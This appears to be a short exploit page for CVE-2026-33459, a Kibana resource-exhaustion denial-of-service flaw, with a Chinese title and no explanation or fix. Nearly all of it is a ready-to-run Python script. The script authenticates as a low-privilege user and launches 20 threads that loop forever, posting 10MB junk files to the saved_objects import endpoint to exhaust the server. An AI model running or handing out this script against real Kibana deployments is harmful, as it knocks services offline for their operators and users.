CVE-2026-33459 Kibana资源耗尽导致拒绝服务漏洞

import requests import threading # Configuration target_url = "http://localhost:5601/api/saved_objects/_import" username = "low_priv_user" password = "password" # Large payload to trigger excessive allocation large_payload = "A" * 10000000 # 10MB string def send_exploit(): session = requests.Session() # Authentication (adjust endpoint based on Kibana version/config) auth_payload = {"username": username, "password": password} session.post("http://localhost:5601/api/security/login", json=auth_payload) # Prepare malicious file upload files = { 'file': ('exploit.txt', large_payload, 'text/plain') } headers = { 'kbn-xsrf': 'reporting' # Often required for Kibana APIs } try: while True: response = session.post(target_url, files=files, headers=headers, timeout=10) print(f"Sent request, status: {response.status_code}") except Exception as e: print(f"Error: {e}") # Launch concurrent threads to simulate attack for i in range(20): t = threading.Thread(target=send_exploit) t.start()